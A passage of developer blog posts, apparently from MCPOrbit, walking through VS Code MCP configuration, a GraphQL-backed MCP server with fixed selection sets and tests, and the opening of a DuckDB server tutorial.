`.vscode/mcp.json`, which lives in the repo and is the one to commit so your team gets the same servers. And a user profile file that applies to every project, which you open with the MCP: Open User Configuration command from the Command Palette. Use the workspace file when the server is specific to that codebase. Use the profile file for general tools you always want. If you would rather not write JSON by hand, MCP: Add Server walks you through it and writes the same file. > **Source** > > The file paths, the servers key, the inputs syntax, and the command names in this post come from the VS Code MCP configuration reference at code.visualstudio.com. The server code and the failure modes were run locally on Node 25.8.1. ## A server worth pointing VS Code at Here is a small server that scans your workspace for `TODO`, `FIXME`, and `HACK` comments and reports them with file and line number. It is a good test case because it depends on the working directory, which is exactly where the VS Code setup goes wrong. Keep it outside the project you plan to open. A single copy at something like `~/mcp-servers/todo-finder` serves every workspace. Start with `package.json`: ```json { "name": "todo-finder-mcp", "version": "1.0.0", "private": true, "type": "module", "dependencies": { "@modelcontextprotocol/server": "2.0.0", "zod": "4.4.3" } } ``` Then `server.js`. Two things in it are deliberate. It reads its scan root from `process.cwd()`, so the config decides which project it looks at. And it logs with `console.error`, never `console.log`, because stdout carries the protocol. ```javascript // server.js import { readdir, readFile } from "node:fs/promises"; import { join, relative, extname } from "node:path"; import { McpServer } from "@modelcontextprotocol/server"; import { serveStdio } from "@modelcontextprotocol/server/stdio"; import { z } from "zod"; // The workspace root. VS Code sets cwd from the config; everything else // resolves against it, so nothing here depends on where node was launched. const ROOT = process.cwd(); const SKIP = new Set(["node_modules", ".git", "dist", "build", ".next"]); const EXTS = new Set([".js", ".mjs", ".ts", ".tsx", ".jsx", ".py", ".go", ".rs", ".md"]); const MARKER = /\b(TODO|FIXME|HACK)\b:?\s*(.*)$/; async function* walk(dir) { for (const entry of await readdir(dir, { withFileTypes: true })) { if (entry.name.startsWith(".") || SKIP.has(entry.name)) continue; const full = join(dir, entry.name); if (entry.isDirectory()) yield* walk(full); else if (EXTS.has(extname(entry.name))) yield full; } } async function findTodos(kind) { const hits = []; for await (const file of walk(ROOT)) { const text = await readFile(file, "utf8"); text.split("\n").forEach((line, i) => { const m = line.match(MARKER); if (!m) return; if (kind !== "ALL" && m[1] !== kind) return; hits.push({ file: relative(ROOT, file), line: i + 1, kind: m[1], note: m[2].trim() }); }); } return hits; } // serveStdio takes a factory, not a server instance. function createServer() { const server = new McpServer({ name: "todo-finder", version: "1.0.0" }); server.registerTool( "find_todos", { title: "Find TODO comments", description: "Scan the workspace for TODO, FIXME, and HACK comments. Returns the file, line number, and note for each one.", inputSchema: { kind: z .enum(["TODO", "FIXME", "HACK", "ALL"]) .default("ALL") .describe("Which marker to look for. ALL returns every kind."), }, }, async ({ kind }) => { const hits = await findTodos(kind ?? "ALL"); console.error(`[todo-finder] scanned ${ROOT}, ${hits.length} hit(s)`); if (hits.length === 0) { return { content: [{ type: "text", text: `No ${kind ?? "ALL"} markers found under ${ROOT}.` }] }; } const lines = hits.map((h) => `${h.file}:${h.line} ${h.kind} ${h.note}`); return { content: [{ type: "text", text: lines.join("\n") }] }; } ); return server; } // stdout belongs to the protocol. All logging goes to stderr. console.error("[todo-finder] starting on stdio, root:", ROOT); await serveStdio(createServer); ``` Install it with `npm install` in the server directory. That is the whole server. > **Watch the factory** > > serveStdio takes a function that returns a server, not the server itself. Hand it the instance and the process starts, the connection opens, and the first tools/list comes back as -32603 Internal server error with nothing on stderr to explain it. ## Check the server runs before you touch any config Wire an untested server into an editor and every failure looks the same. Drive it with a client first, from the server's own directory, pointing at a project you want to scan: ```javascript // probe-client.mjs import { Client } from "@modelcontextprotocol/client"; import { StdioClientTransport } from "@modelcontextprotocol/client/stdio"; const transport = new StdioClientTransport({ command: "node", args: [process.argv[2]], // absolute path to server.js cwd: process.argv[3], // the workspace to scan stderr: "inherit", }); const client = new Client({ name: "probe", version: "1.0.0" }); await client.connect(transport); const tools = await client.listTools(); console.log("TOOLS:", tools.tools.map((t) => t.name).join(", ")); const res = await client.callTool({ name: "find_todos", arguments: { kind: "ALL" } }); console.log("RESULT:\n" + res.content[0].text); await client.close(); ``` Add `@modelcontextprotocol/client` at `2.0.0` as a dev dependency and run it. Against a project with a few markers in it, the output is: ```text [todo-finder] starting on stdio, root: /Users/you/code/my-project TOOLS: find_todos [todo-finder] scanned /Users/you/code/my-project, 4 hit(s) RESULT: README.md:3 TODO write the setup instructions src/checkout.js:2 TODO apply the seasonal discount table src/checkout.js:7 FIXME this ignores partial refunds and always refunds the full order src/session.js:2 HACK re-issuing on every call until the refresh endpoint lands ``` The first and third lines are the server's own stderr logging. Everything else is the protocol answering. That is a working server, so anything that breaks from here is configuration. ## The config file Create `.vscode/mcp.json` in the project you want to scan. Use an absolute path to `server.js`, because VS Code does not resolve it against your project: ```json { "servers": { "todo-finder": { "type": "stdio", "command": "node", "args": ["/Users/you/mcp-servers/todo-finder/server.js"], "cwd": "${workspaceFolder}" } } } ``` The key under `servers` is the name shown in the UI. `type` is `stdio` for a local server. `command` and `args` are what gets spawned. `cwd` is the working directory, and `${workspaceFolder}` expands to the root of whatever project you have open. Save the file. VS Code shows a Start action above the server block, and MCP: List Servers gives you start, stop, and the server's output log. Open Chat, switch the mode dropdown to Agent, and ask it to find the TODOs. A server that already runs somewhere over HTTP is configured with `url` instead of `command`, and takes `headers` for auth: ```json { "servers": { "todo-finder": { "type": "http", "url": "https://mcp.example.com/mcp" } } } ``` ## Why an mcpServers block does nothing This is the first VS Code specific trap, and it catches people who already have a server working somewhere else. Claude Desktop and Cursor both nest servers under `mcpServers`. VS Code does not. It reads `servers`. So this file, copied straight out of a working Claude Desktop config, is valid JSON and completely inert: ```json { "mcpServers": { "todo-finder": { "command": "node", "args": ["/Users/you/mcp-servers/todo-finder/server.js"] } } } ``` There is no crash and no warning, because as far as VS Code is concerned you configured zero servers. The tell is that MCP: List Servers comes up empty and no Start action appears above the block. If you see that, check the top-level key before you check anything else. ## Why a missing cwd gives you real but wrong answers The second trap is worse, because the server starts, the tool call succeeds, and the model gets an answer. The answer is just about the wrong directory. Drop `cwd` from the config and the server inherits whatever working directory it was spawned with, which is not your project. Running the same tool call both ways makes the failure obvious: ```text --- NO cwd in config (spawned from the server's own directory) --- server.js:14 TODO |FIXME|HACK)\b:?\s*(.*)$/; server.js:48 TODO comments", server.js:50 TODO , FIXME, and HACK comments. Returns the file, line number, and note for each one.", server.js:53 TODO ", "FIXME", "HACK", "ALL"]) --- cwd set to the workspace root --- README.md:3 TODO write the setup instructions src/checkout.js:2 TODO apply the seasonal discount table src/checkout.js:7 FIXME this ignores partial refunds and always refunds the full order src/session.js:2 HACK re-issuing on every call until the refresh endpoint lands ``` The first run scanned the server's own source and matched the string `TODO` inside its own regex and tool description. Those are real hits from a real scan of a real directory. They are simply not your project, and nothing in the transcript says so. The model reports them as your TODOs. This is the VS Code version of a bug other editors give you as a crash. A server started with a relative path in Cursor fails loudly with `Cannot find module`. Here the path is absolute and correct, so the process starts fine, and only the data is wrong. Set `cwd` on every server that reads the filesystem. ## Keeping API keys out of the file The workspace file is meant to be committed, so a plaintext key in `env` ends up in your repo. VS Code has `inputs` for this. Declare the value once and reference it with `${input:id}`, and VS Code prompts on first run and stores the answer: ```json { "inputs": [ { "type": "promptString", "id": "api-key", "description": "API key for the upstream service", "password": true } ], "servers": { "todo-finder": { "type": "stdio", "command": "node", "args": ["/Users/you/mcp-servers/todo-finder/server.js"], "cwd": "${workspaceFolder}", "env": { "API_KEY": "${input:api-key}" } } } } ``` `password: true` masks the prompt and keeps the value out of the log. There is also an `envFile` field if you already keep a local `.env` around. ## Editing the server without restarting by hand While you are still writing the server, add a `dev` block. `watch` takes a glob and restarts the server when a file changes, and `debug` attaches a debugger for Node and Python stdio servers: ```json { "servers": { "todo-finder": { "type": "stdio", "command": "node", "args": ["/Users/you/mcp-servers/todo-finder/server.js"], "cwd": "${workspaceFolder}", "dev": { "watch": "/Users/you/mcp-servers/todo-finder/**/*.js" } } } } ``` If you change a tool's name or its schema, also run MCP: Reset Cached Tools. VS Code caches the tool list, and a rename can otherwise leave a stale entry in the picker. ## Does a stray console.log really break the connection? The usual advice is that one `console.log` in a stdio server corrupts the stream and kills the session. That is worth testing, because it is not quite what happens with the 2.0.0 client. Adding a `console.log` to the tool handler and calling it again, the connection stayed up and the call returned normally. The reason is in the client's read loop: it parses messages in a `try` block, hands any parse failure to an `onerror` callback, and keeps going. An unparseable line is skipped, not fatal. Do not take that as permission. That leniency belongs to one client library, and VS Code ships its own MCP client with its own parser. A line that happens to be skipped in a probe can still drop a response or break a framed message elsewhere. Log to stderr, which is where VS Code shows it in the server output pane anyway. ## Frequently asked questions ## Frequently asked questions ### Where is the VS Code MCP config file? For a single project it is `.vscode/mcp.json` in the project root. For every project, use the Command Palette command MCP: Open User Configuration, which opens an `mcp.json` in your user profile folder. ### Why is my MCP server not showing up in VS Code? The most common cause is the top-level key. VS Code reads `servers`, while Claude Desktop and Cursor use `mcpServers`, and a config with the wrong key is silently ignored. Check MCP: List Servers, and if it is empty the file was never understood. The other common cause is being in Ask or Edit mode instead of Agent mode. ### Can I use the same MCP config in VS Code and Claude Desktop? Not without editing it. The server block itself is nearly identical, but the wrapper differs: VS Code needs `servers` and accepts `type`, `cwd`, `dev`, and `inputs`, while Claude Desktop needs `mcpServers`. Copy the inner block and rewrite the outer key. ### What does ${workspaceFolder} do in mcp.json? It expands to the absolute path of the currently open project. Setting `cwd` to `${workspaceFolder}` makes one installed server work across every project you open, instead of hardcoding a single path. ### How do I pass an API key to an MCP server in VS Code? Add an `inputs` array with a `promptString` entry and `password: true`, then reference it from the server's `env` as `${input:your-id}`. VS Code prompts for the value on first run and keeps it out of the committed file. ### Do MCP tools work in Copilot Ask mode? No. Tools are only invoked in Agent mode. If the server is running and the tools are listed but never called, check the mode dropdown in the Chat view first. Once the server is connected, the work moves to whether the model picks the right tool at the right time. That is mostly a function of the tool description, not the config. Point VS Code at a server, then [connect the same server in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and call its tools by hand. You see the exact arguments and responses the model would get, so you can tell whether a description is doing its job. [Download MCPOrbit for macOS](/api/download) --- # How to build an MCP server for a GraphQL API URL: https://mcporbit.com/blog/build-an-mcp-server-for-a-graphql-api Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-03 Category: Build it Tags: MCP, TypeScript, GraphQL, API, Engineering Do not hand the model a GraphQL query string. Introspect once, expose one typed tool per operation, and keep the selection set on the server. Do not give the model a GraphQL query string. Introspect the schema once when your server starts, then expose one MCP tool per operation, with the query text fixed on the server and only the variables coming from the model. A REST wrapper is close to mechanical. One endpoint per resource means the tools almost draw themselves. GraphQL is different in the way that matters here: one endpoint, one type system, and a request body that is itself a small program. The design question is who writes that program. If the answer is the model, you have built a bad tool. If the answer is you, at startup, you have built a good one. - The first tool most people write, `run_graphql_query(query)`, is the worst available surface. The model has to author valid GraphQL against a schema it cannot see. - Introspect at startup, not per call. A full introspection of the small public API used here is 12,768 bytes of JSON. That does not belong in a tool result. - Fix the selection set on the server. One country with a server-chosen selection set is 162 bytes. One plausible nested query against the same endpoint returned 498,200 bytes. - GraphQL reports field errors inside an HTTP 200 with an `errors` array, so `res.ok` is a transport check and not a success check. - If you expose anything free-form, cap selection depth before the query reaches the network. ## Why not just expose one run_graphql_query tool? It is the obvious move. GraphQL has one endpoint, so one tool that forwards a query string looks like it wraps the entire API for free. Here is the shape, so you can recognize it. ```typescript import { McpServer } from "@modelcontextprotocol/server"; import { z } from "zod"; import { execute } from "./graphql.js"; /** * DO NOT SHIP THIS. It is here so the post can show the exact shape of the * tool to avoid, and so that shape is type-checked rather than hand-waved. */ export function registerTrapTool(server: McpServer): void { server.registerTool( "run_graphql_query", { title: "Run a GraphQL query", description: "Run any GraphQL query against the API.", inputSchema: z.object({ query: z.string().describe("A GraphQL query document"), }), }, async ({ query }) => { const data = await execute(query); return { content: [{ type: "text", text: JSON.stringify(data) }] }; }, ); } ``` It fails for three separate reasons, and they compound. ### The model is writing against a schema it cannot see A tool description has no room for a real schema. So the model guesses field names, and GraphQL rejects unknown fields outright. Every guess costs a full round trip: a tool call, an error, a retry. On a schema with any depth the model can spend several turns before it writes something that validates. ### You handed over the token budget When the model picks the selection set, the model decides how much data comes back. Graphs have cycles. A country has a continent, a continent has countries, and those countries have languages. That is an ordinary-looking query, and against the public countries API it returns 498,200 bytes in a single HTTP 200 response. At roughly four bytes per token that is on the order of 125,000 tokens, from one tool call, for a question that needed 162 bytes. ```text # the fixed selection set this post builds, one country 162 bytes # a nested query a model could plausibly write, same endpoint, also 200 OK { countries { code name capital currency emoji native phone continent { code name countries { code name } } languages { code name native } states { code name } } } 498,200 bytes ``` ### It is an arbitrary query engine with your credentials on it A free-form query tool is a depth attack and a data exfiltration path at the same time. Anything the token attached to your server can read, the query can reach, including fields you never intended to expose through this integration. Prompt injection turns that into a real problem rather than a theoretical one. ## Set up the project Everything below was built and run before this post was written. The target is a public GraphQL API with no key and no signup, so you can run it immediately. ```bash mkdir graphql-mcp-server && cd graphql-mcp-server npm init -y npm pkg set type=module npm install @modelcontextprotocol/server@2.0.0 \ @modelcontextprotocol/client@2.0.0 \ zod@4.4.3 tsx@4.20.3 typescript@5.9.2 ``` Two details that will cost you an hour each if you skip them. The package must be an ES module, because the v2 SDK is ESM only. And zod must be version 4.2 or later, because the SDK throws `Schema appears to be from zod 3` at call time on older versions. > **Versions** > > Run on Node 25.8.1 with `@modelcontextprotocol/server` 2.0.0, `@modelcontextprotocol/client` 2.0.0, `zod` 4.4.3 and `typescript` 5.9.2. All 18 assertions below pass on that stack. ## Why res.ok is not a success check in GraphQL This is the gotcha that catches people coming from REST. A GraphQL server that successfully executes your request and finds a problem in it still answers HTTP 200. The failure is in the response body, in an `errors` array. Ask for a field that does not exist and you get this. ```json { "errors": [ { "message": "Cannot query field \"nonexistentField\" on type \"Country\".", "locations": [ { "line": 4, "column": 5 } ], "extensions": { "code": "GRAPHQL_VALIDATION_FAILED" } } ] } ``` Status 200. No `data` key at all. If your client only checks `res.ok`, it reads that as a success and hands the model an empty result, which is worse than an error because the model will believe it. The rule is not that GraphQL always returns 200. Errors caught before execution starts can use a 4xx. On this endpoint a variable that fails type coercion returns 400. So you need both checks: `res.ok` for transport, then the `errors` array for execution. The request module below does exactly that and nothing else. ```typescript const ENDPOINT = process.env.GRAPHQL_ENDPOINT ?? "https://countries.trevorblades.com/graphql"; export class GraphQLError extends Error { constructor( message: string, readonly paths: string[], ) { super(message); this.name = "GraphQLError"; } } type GraphQLBody = { data?: T | null; errors?: Array<{ message: string; path?: Array }>; }; /** * The whole point of this wrapper: a GraphQL endpoint answers 200 OK and puts * the failure in the body. `res.ok` is a transport check, not a success check. */ export async function execute( query: string, variables: Record = {}, ): Promise { const res = await fetch(ENDPOINT, { method: "POST", headers: { "content-type": "application/json", ...(process.env.GRAPHQL_TOKEN ? { authorization: `Bearer ${process.env.GRAPHQL_TOKEN}` } : {}), }, body: JSON.stringify({ query, variables }), }); // Transport-level failure. Still worth checking - it just is not sufficient. if (!res.ok) { throw new Error(`GraphQL transport error: HTTP ${res.status}`); } const body = (await res.json()) as GraphQLBody; // Field-level failure, delivered inside a 200. if (body.errors?.length) { throw new GraphQLError( body.errors.map((e) => e.message).join("; "), body.errors.map((e) => (e.path ?? []).join(".")).filter(Boolean), ); } // A partial response is data plus errors; having handled errors above, a // null data here means the server gave us nothing usable. if (body.data == null) { throw new Error("GraphQL response contained neither data nor errors"); } return body.data; } ``` ## Introspect the schema once, at startup Introspection is how you spend the schema once instead of paying for it on every call. You are not rebuilding the type system in memory. You want a startup guard: if the upstream API dropped a field your tools depend on, fail immediately with a clear message rather than at the first tool call with a confusing one. ```typescript import { execute } from "./graphql.js"; /** * A deliberately small introspection query. We are not rebuilding the type * system in memory - we only want the field names of the root Query type so * startup can fail loudly if the API drifted out from under our tools. */ const ROOT_FIELDS = /* GraphQL */ ` query RootFields { __schema { queryType { fields { name } } } } `; type RootFieldsResult = { __schema: { queryType: { fields: Array<{ name: string }> } }; }; /** Introspect once, at startup - not once per tool call. */ export async function loadRootFields(): Promise> { const data = await execute(ROOT_FIELDS); return new Set(data.__schema.queryType.fields.map((f) => f.name)); } export function assertFields(available: Set, required: string[]): void { const missing = required.filter((f) => !available.has(f)); if (missing.length) { throw new Error( `Upstream schema is missing required fields: ${missing.join(", ")}. ` + `Refusing to start with tools that cannot work.`, ); } } ``` A full introspection query on this API returns 12,768 bytes. The narrow root-fields query above returns 172 bytes. Both are fine at startup, once. Neither belongs in a tool result. ## One tool per operation, with the selection set fixed This is the whole design. Each tool owns one operation. The query text is a server-side constant. The zod input schema mirrors the GraphQL variables, so the model fills in variables and nothing else. It cannot widen the selection set, because it never sees one. ```typescript import { McpServer } from "@modelcontextprotocol/server"; import { serveStdio } from "@modelcontextprotocol/server/stdio"; import { z } from "zod"; import { execute, GraphQLError } from "./graphql.js"; import { assertFields, loadRootFields } from "./schema.js"; /** * Selection sets are server-side constants. The model never picks fields, so * it cannot ask for the whole graph and it cannot ask for a field that does * not exist. */ const GET_COUNTRY = /* GraphQL */ ` query GetCountry($code: ID!) { country(code: $code) { code name capital currency emoji continent { name } languages { name } } } `; const LIST_COUNTRIES = /* GraphQL */ ` query ListCountries($continent: String!) { countries(filter: { continent: { eq: $continent } }) { code name capital } } `; const LIST_CONTINENTS = /* GraphQL */ ` query ListContinents { continents { code name } } `; const countryShape = z.object({ code: z.string(), name: z.string(), capital: z.string().nullable(), currency: z.string().nullable(), emoji: z.string(), continent: z.object({ name: z.string() }), languages: z.array(z.object({ name: z.string() })), }); /** One place to turn a thrown GraphQL failure into a readable tool error. */ function toolError(err: unknown) { const message = err instanceof GraphQLError ? `The API rejected the query: ${err.message}` : err instanceof Error ? err.message : String(err); return { content: [{ type: "text" as const, text: message }], isError: true }; } export function buildServer(rootFields: Set): McpServer { const server = new McpServer( { name: "countries-graphql", version: "1.0.0" }, { capabilities: { tools: {} } }, ); server.registerTool( "get_country", { title: "Get a country by ISO code", description: "Look up one country by its two-letter ISO 3166-1 alpha-2 code, " + "for example US, FR or JP. Returns the name, capital, currency, " + "continent and official languages.", inputSchema: z.object({ code: z .string() .length(2) .describe("Two-letter ISO 3166-1 alpha-2 country code, e.g. FR"), }), outputSchema: z.object({ country: countryShape }), }, async ({ code }) => { try { const data = await execute<{ country: unknown }>(GET_COUNTRY, { code: code.toUpperCase(), }); if (data.country == null) { return { content: [{ type: "text", text: `No country with code ${code}.` }], isError: true, }; } const country = countryShape.parse(data.country); return { content: [ { type: "text", text: `${country.name} (${country.code}). Capital: ${ country.capital ?? "n/a" }. Currency: ${country.currency ?? "n/a"}.`, }, ], structuredContent: { country }, }; } catch (err) { return toolError(err); } }, ); server.registerTool( "list_countries_in_continent", { title: "List countries in a continent", description: "List every country in one continent. Takes a two-letter continent " + "code such as EU, AF, NA, SA, AS, OC or AN. Call list_continents " + "first if you do not know the code.", inputSchema: z.object({ continent: z .string() .length(2) .describe("Two-letter continent code, e.g. EU"), }), outputSchema: z.object({ count: z.number(), countries: z.array( z.object({ code: z.string(), name: z.string(), capital: z.string().nullable(), }), ), }), }, async ({ continent }) => { try { const data = await execute<{ countries: Array<{ code: string; name: string; capital: string | null; }>; }>(LIST_COUNTRIES, { continent: continent.toUpperCase() }); return { content: [ { type: "text", text: `${data.countries.length} countries: ${data.countries .map((c) => c.name) .join(", ")}`, }, ], structuredContent: { count: data.countries.length, countries: data.countries, }, }; } catch (err) { return toolError(err); } }, ); server.registerTool( "list_continents", { title: "List continents", description: "List all continent codes and names. Use this to find the code " + "that list_countries_in_continent expects.", inputSchema: z.object({}), outputSchema: z.object({ continents: z.array(z.object({ code: z.string(), name: z.string() })), }), }, async () => { try { const data = await execute<{ continents: Array<{ code: string; name: string }>; }>(LIST_CONTINENTS); return { content: [ { type: "text", text: data.continents .map((c) => `${c.code}: ${c.name}`) .join("\n"), }, ], structuredContent: { continents: data.continents }, }; } catch (err) { return toolError(err); } }, ); // Startup guard. If the upstream schema moved, fail now with a clear // message instead of at the first tool call with a field error. assertFields(rootFields, ["country", "countries", "continents"]); return server; } // Introspect once, before any request is served. const rootFields = await loadRootFields(); // Diagnostics go to stderr. On stdio, stdout is the JSON-RPC channel. process.stderr.write( `[countries-graphql] schema loaded, ${rootFields.size} root fields\n`, ); await serveStdio(() => buildServer(rootFields)); ``` Three things worth pointing at. The `outputSchema` is what makes `structuredContent` valid, so callers get typed data instead of parsing prose. Failures return `isError: true` with a readable message rather than throwing, which is what lets the model recover. And `serveStdio` takes a factory, not a server instance. Passing the instance directly returns `-32603 Internal server error` on every request including `initialize`, with an empty stderr, which is the most confusing way to lose an afternoon with this SDK. > **stdio** > > On a stdio server, stdout is the JSON-RPC channel. A single `console.log` writes a non-JSON line into the stream and the client drops the connection. Diagnostics go to `process.stderr`. ## Point a client at it For Claude Desktop, Cursor, or VS Code, add the server to the MCP config file. The client spawns your process and supplies the environment, which is also where a real API would get its credentials. ```json { "mcpServers": { "countries-graphql": { "command": "npx", "args": [ "tsx", "/absolute/path/to/graphql-mcp-server/src/server.ts" ], "env": { "GRAPHQL_ENDPOINT": "https://countries.trevorblades.com/graphql" } } } } ``` ## Prove the selection set is really fixed Assertions, not screenshots. The first suite proves the transport behavior that the post claims, including the 200-with-errors case and the 400 coercion case. ```typescript import assert from "node:assert/strict"; import { test } from "node:test"; import { GraphQLError, execute } from "../src/graphql.js"; const ENDPOINT = "https://countries.trevorblades.com/graphql"; test("a GraphQL field error arrives inside an HTTP 200", async () => { // Ask for a field that does not exist on the Country type. const res = await fetch(ENDPOINT, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ query: `{ country(code: "FR") { name nonexistentField } }`, }), }); // This is the trap. The transport succeeded. assert.equal(res.status, 200); assert.equal(res.ok, true); const body = await res.json(); // ...and the failure is in the body. assert.ok(Array.isArray(body.errors)); assert.ok(body.errors.length > 0); assert.match(body.errors[0].message, /nonexistentField/); }); test("execute() turns that 200 into a thrown GraphQLError", async () => { await assert.rejects( () => execute(`{ country(code: "FR") { name nonexistentField } }`), (err: unknown) => { assert.ok(err instanceof GraphQLError); assert.match((err as GraphQLError).message, /nonexistentField/); return true; }, ); }); test("execute() returns data on a valid query", async () => { const data = await execute<{ country: { name: string } }>( `query Q($code: ID!) { country(code: $code) { name } }`, { code: "JP" }, ); assert.equal(data.country.name, "Japan"); }); test("a variable coercion error is a 400, so you still need the res.ok check", async () => { // `code` is ID!, so passing an object fails variable coercion. This one is // rejected before execution starts, and this server answers 400 for it. // Execution errors are 200; request-level errors may not be. Check both. const res = await fetch(ENDPOINT, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ query: `query Q($code: ID!) { country(code: $code) { name } }`, variables: { code: { nope: true } }, }), }); assert.equal(res.status, 400); await assert.rejects( () => execute(`query Q($code: ID!) { country(code: $code) { name } }`, { code: { nope: true }, }), /HTTP 400/, ); }); ``` The second suite drives the real server over stdio with the MCP client and checks the tool surface. The important assertion is the one on the returned key set: the server chose those fields, and no tool argument could have changed them. ```typescript import assert from "node:assert/strict"; import { after, before, test } from "node:test"; import { Client } from "@modelcontextprotocol/client"; import { StdioClientTransport } from "@modelcontextprotocol/client/stdio"; let client: Client; before(async () => { const transport = new StdioClientTransport({ command: "npx", args: ["tsx", "src/server.ts"], // `env` REPLACES the default environment, so PATH/HOME/TMPDIR must be // passed through explicitly or the child cannot spawn. env: { PATH: process.env.PATH!, HOME: process.env.HOME!, TMPDIR: "/tmp", }, }); client = new Client({ name: "test-client", version: "1.0.0" }); await client.connect(transport); }); after(async () => { await client.close(); }); test("exposes three typed tools, not a raw query escape hatch", async () => { const { tools } = await client.listTools(); const names = tools.map((t) => t.name).sort(); assert.deepEqual(names, [ "get_country", "list_continents", "list_countries_in_continent", ]); assert.ok( !names.some((n) => /query|graphql|raw/i.test(n)), "no free-form query tool should be exposed", ); }); test("get_country declares a typed input schema mirroring the variables", async () => { const { tools } = await client.listTools(); const tool = tools.find((t) => t.name === "get_country")!; assert.equal(tool.inputSchema.type, "object"); assert.deepEqual(Object.keys(tool.inputSchema.properties ?? {}), ["code"]); assert.deepEqual(tool.inputSchema.required, ["code"]); }); test("get_country returns a fixed selection set", async () => { const res = await client.callTool({ name: "get_country", arguments: { code: "FR" }, }); assert.equal(res.isError, undefined); const { country } = res.structuredContent as any; assert.equal(country.name, "France"); assert.equal(country.capital, "Paris"); assert.equal(country.currency, "EUR"); assert.equal(country.continent.name, "Europe"); // The server chose these keys. The model could not have widened them. assert.deepEqual(Object.keys(country).sort(), [ "capital", "code", "continent", "currency", "emoji", "languages", "name", ]); }); test("lowercase codes are normalized by the server", async () => { const res = await client.callTool({ name: "get_country", arguments: { code: "jp" }, }); assert.equal((res.structuredContent as any).country.name, "Japan"); }); test("list_continents returns all seven continents", async () => { const res = await client.callTool({ name: "list_continents", arguments: {}, }); const { continents } = res.structuredContent as any; assert.equal(continents.length, 7); assert.ok(continents.some((c: any) => c.code === "EU")); }); test("list_countries_in_continent scopes to one continent", async () => { const res = await client.callTool({ name: "list_countries_in_continent", arguments: { continent: "EU" }, }); const { count, countries } = res.structuredContent as any; assert.ok(count > 40, `expected >40 European countries, got ${count}`); assert.ok(countries.every((c: any) => typeof c.code === "string")); // Fixed selection set again: three fields, not the whole Country type. assert.deepEqual(Object.keys(countries[0]).sort(), [ "capital", "code", "name", ]); }); test("an unknown country code is a clean tool error, not a crash", async () => { const res = await client.callTool({ name: "get_country", arguments: { code: "ZZ" }, }); assert.equal(res.isError, true); assert.match((res.content as any)[0].text, /No country with code/); }); test("input validation rejects a bad code before any network call", async () => { const res = await client.callTool({ name: "get_country", arguments: { code: "FRANCE" }, }); assert.equal(res.isError, true); }); ``` Note the `env` block in the transport. It replaces the child process environment rather than extending it, so `PATH` and `HOME` have to be passed through explicitly or the server never spawns. ```bash $ npx tsx --test test/*.test.ts [countries-graphql] schema loaded, 6 root fields tests 18 pass 18 fail 0 ``` ## What if you really do need a free-form query tool? Sometimes the API is genuinely exploratory and typed tools cannot cover it. If you accept a query string, treat it as untrusted input. Cap selection depth before the query reaches the network, so a cycle in the graph cannot inflate the response. ```typescript /** * A selection-depth guard for the case where you decide to accept a query * string anyway. It counts brace nesting, which is crude but dependency-free * and catches the shape that matters: a query that walks a cycle in the graph * to inflate the response. * * If you are shipping this for real, validate with the `graphql` package's * own rules instead. This is a floor, not a substitute for schema-aware * validation. */ export function selectionDepth(query: string): number { let depth = 0; let max = 0; let inString = false; let inBlockString = false; for (let i = 0; i < query.length; i++) { const c = query[i]; if (inBlockString) { if (query.startsWith('"""', i)) { inBlockString = false; i += 2; } continue; } if (inString) { if (c === "\\") i++; else if (c === '"') inString = false; continue; } if (query.startsWith('"""', i)) { inBlockString = true; i += 2; continue; } if (c === '"') { inString = true; continue; } if (c === "#") { while (i < query.length && query[i] !== "\n") i++; continue; } if (c === "{") { depth++; if (depth > max) max = depth; } else if (c === "}") { depth--; } } return max; } export class DepthLimitError extends Error {} export function assertDepth(query: string, limit = 6): void { const depth = selectionDepth(query); if (depth > limit) { throw new DepthLimitError( `Query selection depth ${depth} exceeds the limit of ${limit}.`, ); } } ``` Brace counting is a floor, not a real defense. It is dependency-free and it catches the shape that matters. For anything user-facing, validate with the `graphql` package's own rules, add a cost estimator that weights list fields, and put a hard byte cap on the response before it becomes a tool result. Also give the token behind the query the narrowest scope the API offers, because depth limits do not stop a shallow query from reading a field you did not intend to share. - Cap selection depth, and cap it before the request goes out. - Cap the response size independently. Depth is a poor proxy for bytes. - Scope the upstream credential to exactly the fields this integration needs. - Log the query text. If you accept arbitrary queries, you want to know what was asked. ## How many tools should a GraphQL MCP server expose? Fewer than the schema has fields, and more than one. Start from the jobs a user actually asks for, not from the type system. Three tools cover the countries API here because there are three real questions: look up one country, list a continent's countries, and find the continent codes. A schema with 200 types does not need 200 tools. It needs the eight operations your integration is for. The test for a good tool is whether a model can call it correctly with only the description in front of it. `get_country(code)` passes. `run_graphql_query(query)` cannot, no matter how the description is written, because the information it needs is in a schema that is not in the prompt. ## Frequently asked questions ### Should an MCP server expose a single run_graphql_query tool? No. The model has to author valid GraphQL against a schema it cannot see, so it guesses field names and pays a round trip per failure. It also hands the model an arbitrary query engine running with your credentials. Expose one typed tool per operation instead. ### How does an MCP server discover the GraphQL schema? With an introspection query at startup, run once and cached in memory. Use it as a startup guard that fails loudly if a field your tools depend on disappeared. Do not introspect per tool call, and do not put the introspection result in a tool result. ### Why does my GraphQL request return 200 but no data? Because GraphQL reports execution and validation errors inside a 200 response, in an `errors` array. A response with an `errors` array often has no `data` key at all. Check `res.ok` for transport failures and then check `errors` separately. ### Can the model choose which GraphQL fields come back? It should not. Keep the selection set as a server-side constant in the query text. That is what stops a nested query from returning half the graph, and it is the difference between a 162 byte response and a 498,200 byte one on the API used here. ### Do I need the graphql npm package to build this? No. A GraphQL request is a POST with a JSON body containing `query` and `variables`, so `fetch` is enough. Add the `graphql` package when you want real schema-aware validation, such as enforcing depth and cost limits on a free-form query tool. ### How do I handle GraphQL mutations in an MCP server? The same way as queries: one tool per mutation, with the mutation text fixed on the server and only variables from the model. Mark destructive ones clearly in the tool description, and consider requiring an explicit confirmation argument for anything that deletes data. --- # How to build an MCP server for a DuckDB database URL: https://mcporbit.com/blog/build-an-mcp-server-for-duckdb Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Tutorial Tags: MCP, TypeScript, DuckDB, Tutorial, Databases Build a read-only MCP server over a DuckDB database in TypeScript. The read-only guard that is enough for SQLite leaks files and network on DuckDB. Here is the one setting that closes it, with runnable code. To build an MCP server for DuckDB, expose three read-only tools over a DuckDB connection: list tables, describe a table, and run a SELECT. The catch is security. The read-only guard that fully protects a SQLite server does not 